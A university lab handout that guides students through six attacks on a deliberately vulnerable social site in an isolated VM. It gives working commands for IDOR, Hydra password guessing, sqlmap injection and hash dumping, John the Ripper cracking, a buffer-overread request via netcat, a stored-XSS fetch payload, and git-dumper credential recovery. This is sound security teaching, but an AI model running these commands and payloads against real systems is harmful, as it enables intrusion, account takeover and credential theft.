ECE 458/750: Web Security Exercise: A Very Vulnerable Social Media Website

Tanmayi Jandyala

July 2026

In this lab you will run two VMs at the same time on the same computer: a victim VM running a web server and an attacker VM running Kali Linux. You will be using the Kali VM to attack the victim VM using concepts from the course. You will get a login to the Kali VM but you will have no login to the victim VM, instead you have to attack it over the local network.

The victim VM is a web server hosting *GoosePost* which is a small social network the TA vibe coded specifically for ECE458. It has no security protections beyond what a default web framework gives a developer by default, and intentionally so. Your goal in this lab is to find and exploit security holes in GoosePost. There are two sets of security problems: those intentionally introduced by the TA, and those created by the AI. This document walks you through finding some of the intentional security issues. But you are also welcome to go looking for other ones.

This handout walks you through setting up the VMs and executing several attacks. It is long, but if followed it should help you understand from a practical stand point what an attack looks like.

1 Setup

Before you can do the (fun) attacks, you need to get the VMs setup. To do so you need to complete the following steps, further details are in the sections:

1. Download and start both VMs (Section 1.1)
2. Setup a local network (Section 1.2) - the two VMs need to be on a closed network so you do not accidentally attack anything else.
3. Log into Kali (Section 1.3)
4. Access GoosePost website (Section 1.4)

1.1 Download and start both VMs

Instructions for setting up the VMs are the same as the Password Game: `https://ece.uwaterloo.ca/~kvaniea/teaching/ece458/S2026/assignments/assignment1/ECE458_VM_Setup_Guide.pdf`

- Kali VM - `https://vaniea.com/teaching/vm/kalivm.vdi`
- Victim VM - `https://vaniea.com/teaching/vm/victimvm.vdi`

1.2 Network Setup

You need to setup the two VMs to be on a local network where they can see each other. This step also prevents you from accidentally using the Kali VM to attack anything else. This is a one-time setup step. The exact steps depend on which virtualization software you are using.

UTM (Apple Silicon Macs) – setup instructions

1. Open the settings for your Kali VM and for your target VM.
2. In each VM's Network settings, confirm the Network Mode is set to **Shared Network**.
3. Start both VMs.
4. In each VM, open a terminal and run:

   ```
   ip a
   ```

   Note the IP address shown next to the main network interface.
5. From your Kali VM, confirm you can reach the target:

   ```
   ping -c 3 <target-vm-ip>
   ```

   You should see replies. If you do not, double check both VMs are set to Shared Network and try restarting them.

VirtualBox (Windows, Intel Macs) – setup instructions

VirtualBox's default network mode only gives a VM internet access, it does not let VMs talk to each other. You need to add a second network adapter to each VM.

1. Shut down both VMs.
2. Open Settings for your Kali VM, go to the Network tab, and select **Adapter 2**.
3. Enable Adapter 2 and set it to **Host-only Adapter**. Note the network name shown, it will look something like `vboxnet0`.
4. Repeat this for your target VM, using the exact same host-only network name as Adapter 2.
5. Leave Adapter 1 on both VMs set to NAT, do not change or remove it.
6. Start both VMs.
7. In each VM, open a terminal and run:

   ```
   ip a
   ```

   You will see two network interfaces. Use the IP address on the interface connected to the host-only network, not the one connected to NAT, to reach the other VM.
8. From your Kali VM, confirm you can reach the target:

   ```
   ping -c 3 <target-vm-ip>
   ```

Every instance of `<target-ip>` in the rest of this document refers to the address you found for the target VM above. Confirm the application itself is reachable before starting the assignment:

```
curl -s -o /dev/null -w "%{http_code}\n" http://<target-ip>:5000/login
```

This should print `200`. If it does not, the network path is working but GoosePost is not, contact a TA or post on piazza. Please note that Kali needs more memory assigned in order to run in bearable speeds, since your memory will also be shared with an other VM. The TA recommends 6GB memory for kali. Also, you do not need access to the internet inside Kali to do this lab, so even if that doesn't work, you do not need to be concerned.

1.3 Logging in to Kali

```
username: ece458student
password: student
```

Kali Linux, a Short Introduction

Kali Linux is a Linux distribution built for security testing. It comes with a large collection of security testing tools installed. If you have never used Kali before, open a terminal application (look for a terminal icon on the taskbar or desktop, or search for "powershell" in the applications menu) and you will have a command line ready to go with every tool below already on your `PATH`.

This lab uses the following tools, each covered in more detail in the section where it first appears:

- `curl`, a command line tool for making HTTP requests, used for basic recon.
- `gcc`, the C compiler, used to build a small vulnerable service.
- `Hydra`, a tool for testing login credentials against a live login form.
- `sqlmap`, a tool that automatically detects and exploits SQL injection.
- `netcat` (`nc`) and `xxd`, used together to send raw bytes to a network service and inspect the response in hexadecimal.
- Burp Suite, a web proxy used to intercept, modify, and replay HTTP requests.
- `John the Ripper`, a password cracking tool used to recover a plaintext password from a hash.
- `git-dumper`, a tool that reconstructs a git repository from a directory exposed over HTTP.

Every one of these tools has a manual page and a help flag. If you are unsure how a tool works, `man <tool>` or `<tool> --help` in your terminal is usually the fastest way to find out, and is good practice for working with unfamiliar tools generally.

1.4 Accessing the Victim VM

You can only access the victim VM over the network. You do not need to log into the victim VM, and we are not providing any login information.

1. Login to the Kali VM
2. Open a web browser
3. Figure out the IP address of the victim VM - henceforth `<target-ip>`
4. Open `http://<target-ip>:5000`
5. Setup a new account on GoosePost

2 Attacks

How the lab is organized

You need to complete six attacks. Every attack lists its background first, then the exact instructions, then optional hints at the end if you get stuck. Try the instructions before reading the hints (hints basically give you the answers to do the attack).

Attacks will use the command line tool *curl* which allows command-line interaction with web pages. You can read about a quick starter on using curl commands with URLs here: `https://everything.curl.dev/cmdline/options/index.html`. We provide 'Building the command' and 'Hint' sections. Note that you can navigate through the website, but because you have your kKli tools, you do not have to do much directly *to* the webpage(s) in all attacks - you simply use the tool needed along with the appropriate curl command.

Learn Quiz: Each attack has one output that you can check against a quiz on Learn.

2.1 Attack 1: Broken access control

Web applications often identify resources with a number in the URL, for example a profile with id 3. A correctly built application checks that the person making the request is allowed to see that particular resource. When that check is missing, changing the number in the URL is enough to view data that belongs to someone else.

1. Register an account on GoosePost. You are Eve for the remainder of this lab.
2. Log in and use curl to fetch your own profile page at `/profile/<your-id>`. Note what fields it contains.
3. Using curl, fetch other profile numbers while authenticated as yourself. Compare the fields shown to what your own profile shows.
4. Idenitfy and note down who the other profiles belong to and what you can see on their profiles that you would not expect a stranger to be able to view.

Building the command: A login request with curl has a fixed shape: `curl -c cookies.txt -X POST <url> -d "username=<value>&password=<value>"`. Here, `-c cookies.txt` tells curl to save whatever cookie the server sends back into a file, `-X POST` sets the request method, and `-d` attaches the form fields written as `key=value` pairs joined by `&`. Start there, logging in as yourself. Reading a profile uses the same tool but a simpler shape, since you are not submitting a form, you are just asking for a page. drop `-X POST` and `-d`, keep `-b cookies.txt` to send your saved session back on this new request, and point it at a new path: `curl -b cookies.txt <url>/profile/<number>`. Try your own id first to see what a normal response looks like, then change only the number at the end.

Hint:

```
curl -c cookies.txt -X POST http://<target-ip>:5000/login -d "username=...&password=..."
curl -b cookies.txt http://<target-ip>:5000/profile/1
```

The first command saves your session cookie to `cookies.txt` after logging in. The second sends that cookie back so the server treats you as logged in. You already know two other accounts exist on this platform, Alice's and Bob's. Try requesting their profiles by number rather than only your own.

2.2 Attack 2: Social engineering a password

Password guessing does not always require a wordlist and a cracking tool. People often build passwords from details about their lives that they have shared publicly, such as a pet's name or a meaningful date. Reading someone's public posts before attempting to log in as them is a standard attacker technique.

1. Log in as yourself and browse the feed. Read every post attributed to Alice.
2. Identify any recurring subject in her posts, along with any specific detail that could plausibly be combined into a password.
3. Build a small text file containing a handful of candidate passwords based on the detail you identified, trying different capitalizations and orderings. Use Hydra to test these candidates against the live login form and determine which one is correct.
4. Once Hydra confirms the correct password, log in as `alice` with curl using that password, and save the resulting session cookie for later use.

Building the command: Hydra's syntax always has the same three parts, who you are testing as, a file of things to try, and a description of the form itself. In order, it uses the `-l` flag which fixes the username(since you already know it), the `-P` flag points at your candidate file, and `-s` sets the port the form is running on. Start by writing out the fields your browser would submit, the same `username=...&password=...` shape. In Hydra's version of that string, replace the literal password with `^PASS^`, this placeholder tells Hydra to substitute each line of your candidate file there in turn with one attempt per line.

Hint: Look for a name that appears in nearly every one of Alice's posts. Look for a specific year mentioned alongside that name. Try combinations of name + year while playing around with uppercase/lowercase letters in your candidate file.

```
hydra -l alice -P candidates.txt <target-ip> -s 5000 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid username or password"
```

The `F=` value tells Hydra what text appears on the page when a login attempt fails, so it can recognize the one candidate that does not produce that text. Note that this activity is simple so it does not really require hydra, but knowing that one such tool exists is helpful.

Login as alice with her correct pasword again using curl and save the cookie from that session (in the same way as you did in attack 1).

2.3 Attack 3: A hidden SQL injection

Bob thought his account is safe because his password is not based on things he posts about. However, there are some mistakes the deveopers of GoosePost made that can make it easy for you to get Bob's password as well. Not every part of an application is reachable from its visible pages. Development teams sometimes build API endpoints for a mobile app or an internal tool, link them nowhere in the site's navigation, and assume that because nobody will find them, they do not need the same scrutiny as the rest of the site. Refer to your course material on SQL injection for the underlying mechanics of how untrusted input can change the structure of a query.

1. Fetch `/robots.txt` from the target with curl and read it carefully. This file tells search engine crawlers which paths not to index. It is not an access control mechanism, but it is a strong hint about what exists.
2. Based on what you find, locate a JSON endpoint that accepts an `author` parameter and returns posts by that author.
3. Use sqlmap to test whether the `author` parameter is vulnerable to SQL injection, pointing it at the endpoint and passing your session cookie so the requests are authenticated.
4. Once sqlmap confirms the injection, use it to dump the contents of the users table.
5. Take the hash you recover for Bob, save it into a file in the format `username:hash`, and crack it with John the Ripper using the provided `tools/student_wordlist.txt`.

Building the command: sqlmap's `-u` flag takes a URL the same way curl's plain address argument does. Start with the URL you got by logging in as alice in the previous attack and navigating to her New Post page. Hand that same URL to sqlmap with `-u "<url>"`, and pass your session the same way you did with curl, using `--cookie` instead of `-b`. The `--batch` flag tells sqlmap to pick its own sensible defaults instead of pausing to ask you questions along the way.

Hint: `sqlmap -u "http://<target-ip>:5000/api/posts?author=alice" --cookie="session=<attack2-cookie>" --batch` [1]
Add `--dump -T users` to the above command once sqlmap confirms the injection, to pull the table directly. John the Ripper expects one credential per line, in `username:hash` format. Save Bob's line into a file, e.g. `bob_hash.txt`, containing:

```
bob:<the hash sqlmap recovered for bob>
```

Then run:

```
john --format=Raw-MD5 --wordlist=tools/wordlist.txt bob_hash.txt
```

which runs the correct format for unsalted MD5 (you've seen MD5 hashes while playing the password game).

[1] As you see this running, you will see it trying against its own rainbow table of coomon passwords!

2.4 Attack 4: A buffer overread

Alongside the website, GoosePost runs a small internal status service written in C, in `tools/goosed.c`. It listens on port 7070 and echoes back a short message for monitoring purposes. Its protocol lets the client specify how many bytes it wants echoed back. The service does not check that number against how many bytes the client actually sent, or against the true size of its own buffer. This is the same category of bug as the 2014 Heartbleed vulnerability in OpenSSL, at a much smaller scale. Refer to your course material on memory safety for background on how a fixed-size buffer is laid out in memory.

1. A copy of `goosed.c` is provided on your Kali VM at `~/tools/goosed.c`. Read it and identify the buffer used to hold incoming data, and what is stored immediately after it in memory.
2. The compiled service is already running on the target VM, listening on port 7070. You do not need to build or run it yourself.
3. Using `printf` to build the raw bytes and `nc` (netcat) to send them, craft a request to the target's port 7070 that sends a short message but requests a much larger echo length than what you actually sent.
4. Pipe the response through `xxd` to view it in hexadecimal and recover the value stored immediately after the buffer.

Building the command: The service expects two raw bytes stating a length, followed by your actual message. `printf` lets you write raw bytes directly using `\xNN` escapes, each pair of hex digits becomes one byte. Start by sending an honest length, two bytes representing the number 2, followed by the message (example, `hi`), and confirm you get `hi` echoed back unchanged, that tells you the round trip works. Once that succeeds, keep the message exactly the same and only increase the length bytes, so you are asking for more back than you actually sent. Piping the result through `xxd` turns raw bytes into readable hex and text side by side.

Hint: The buffer is 128 bytes. Try requesting more than that.

```
printf '\x00\xb4hi' | nc <target-ip> 7070 | xxd
```

The two bytes `\x00\xb4` are a big-endian requested length of 180, followed by the two-character message `hi`, which is far shorter than what you are asking the service to echo back.

2.5 Attack 5: Stored cross-site scripting causing an unauthorized action

When user-submitted content is displayed back to other users without being escaped, a script embedded in that content will run in every browser that views it, with whatever privileges that browser's session has. The payload is saved on the server and served to anyone who visits the affected page, which is why this is called *stored* cross-site scripting. Refer to your course material on XSS for more. GoosePost has an automated account that behaves like a real user, it checks the feed on its own schedule, the same way a person might glance at their feed every few minutes. You do not control when it looks, and you do not know the account's password.

1. As yourself, comment on any post with a payload that, when it runs, sends a background request to `/post/new` creating a new post with content of your choosing.
2. Wait until the automated account loads the feed on its own, within a few minutes.
3. Check the feed. If your payload worked, a new post authored by that account will appear, containing whatever content you chose, even though that account never knowingly wrote it and you never obtained its password or session cookie.

Building the payload: If you have not written JavaScript before, start by testing whether the field runs script at all with `<script>alert(1)</script>`. If viewing that comment pops up an alert box, the field executes anything you put there, and the vulnerability is confirmed.

From there, think of JavaScript's `fetch(url, options)` as script's version of the curl commands you have already been writing all lab. A curl login looked like:

```
curl -c cookies.txt -X POST <url>/login -d "username=alice&password=..."
```

`fetch` carries the same three pieces, just written as JavaScript instead of flags. The URL comes first, just like curl's plain address. `method` takes the place of curl's `-X`. `body` takes the place of curl's `-d`, the form field you are submitting. The one piece curl needed you to do by hand, attaching a saved cookie with `-b`, a real browser instead does automatically, which is what `credentials: 'same-origin'` tells it to do here. Putting that together, the same login request written as a `fetch` call inside a script tag looks like this:

```
<script>
fetch('/post/new', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  credentials: 'same-origin',
  body: 'content=' + encodeURIComponent('something scandalous')
});
</script>
```

Hint: Test in three separate comments rather than pasting the full payload at once.

1. Post `<script>alert(1)</script>` first. Viewing the post should pop up an alert box, confirming the field runs your script.
2. Replace it with `<script>fetch('/feed')</script>` and view the post again. Nothing will visibly happen, that is expected, you are only confirming a background request can fire without showing anything on screen.
3. Once both of those work, replace the payload with the full version above, pointed at `/post/new`.

```
  curl -b cookies.txt -X POST http://<target-ip>:5000/post/new -d "content=test post"
  curl -b cookies.txt -X POST http://<target-ip>:5000/post/1/comment \
--data-urlencode 'content=<script></script>'
```

Reload the feed page after about 2-3 minutes and check.

2.6 Attack 6: Credential dumping from an exposed .git directory

Deployment mistakes are one of the most common real sources of credential leaks, and a bare `.git` directory left behind in a web server's document root is a well known example of one. Git stores a project's entire commit history as plain files on disk, under a folder named `.git`. If that folder ends up reachable over HTTP, a tool does not need directory listing enabled to reconstruct the whole repository from it. Files like `.git/HEAD` and `.git/packed-refs` tell the tool which commits and objects to request next, so it can walk the entire history file by file even though nothing on the server lists those files anywhere.

Removing a secret from the current version of a file does not remove it from that file's history. Anyone who can read a repository's full history can read every version of every file that was ever committed to it, including versions the current file no longer resembles at all.

1. Confirm the `.git` directory is actually exposed by requesting `/.git/HEAD` directly with curl and checking that it returns real content instead of a 404.
2. Use `git-dumper` to reconstruct the full repository from the target.

3. Once reconstructed, use `git log` against the recovered repository to find a commit that touches `config.py`, and inspect its diff.
4. Identify the credential that was present in an earlier version of the file but is absent from the file's current version.

Building the command: `git-dumper` takes two things, the same base URL you already confirmed with curl in step 1, with `.git/` appended, and a folder name of your choice to save the reconstructed repository into. Once that repository exists on your machine, `git log` and `git log -p` behave exactly as they would on any ordinary git repository you have cloned, they do not need to know or care that this one was reconstructed from a web server rather than cloned normally. The `--all` flag matters here specifically, without it, git only shows history reachable from your current branch, and the commit you are looking for sits earlier in that same history.

Hints

`curl -s http://<target-ip>:5000/.git/HEAD`

is a quick way to confirm the directory is exposed before running a full tool against it.

`git-dumper http://<target-ip>:5000/.git/ ./dumped_repo`

reconstructs the repository into `./dumped_repo`.

```
cd dumped_repo
git log --all --oneline
git log -p --all -- config.py
```

walks the file's full history rather than just its current state, and will show you every version of `config.py` that was ever committed.